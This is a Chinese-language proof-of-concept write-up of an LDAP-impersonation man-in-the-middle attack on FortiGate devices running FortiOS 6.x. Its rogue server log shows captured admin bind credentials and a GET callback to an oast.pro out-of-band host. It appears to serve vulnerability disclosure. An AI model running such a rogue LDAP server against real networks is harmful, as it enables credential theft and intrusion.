此概念验证(PoC)演示了一种 MITM(中间人)攻击:在运行易受攻击版本 FortiOS 的 FortiGate 设备的本地子网上冒充 LDAP 服务器。
以下版本存在漏洞:
| 版本 | 是否受影响 | 解决方案 |
|---|---|---|
| FortiOS 7.0 | 不受影响 | 不适用 |
| FortiOS 6.0 | 6.0.3 至 6.2.0 | 升级至 6.2.1 或更高版本 |
本次 PoC 使用了在 VMware Fusion 中运行的 FortiOS 6.2.0。
[2025-10-16 22:59:47.366765] New connection from 192.168.43.24:54789
--- Request #1 ---
BIND Request:
Message ID: 1
DN: cn=admin,dc=example,dc=com
Password: ldapAdMiNPassw0rd!
-> Sent BIND Response (Success)
--- Request #2 ---
SEARCH Request:
Message ID: 2
Base DN: dc=example,dc=com
Filter:
cn
nLBkcjDTHC01.1...
-> Sent SEARCH Result Entry
-> Sent SEARCH Result Done
--- Request #3 ---
BIND Request:
Message ID: 3
DN: dc=example,dc=com
Password: d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
🔑 CAPTURED PASSWORD: d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
🔧 No scheme found — prepending https:// -> https://d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
📡 Attempting GET request to: https://d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
✅ GET request successful! Status code: 200
-> Sent BIND Response (Success)
--- Request #4 ---
SEARCH Request:
Message ID: 4
Base DN: dc=example,dc=com
Filter:
objectclass0memberOfprimaryG...
-> Sent SEARCH Result Entry
-> Sent SEARCH Result Done
--- Request #5 ---
[2025-10-16 22:59:49.159193] Connection closed from 192.168.43.24:54789
============================================================
SESSION SUMMARY - Captured Password: d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
============================================================
FortiOS v6.0.x 至 v6.2.0 的 LDAP 默认配置不会校验 LDAP/S 的服务器身份,从而导致 MITM 攻击。此 PoC 演示了在本地子网上发送到极易被冒充的 LDAP 服务器的凭据被完整外泄的过程。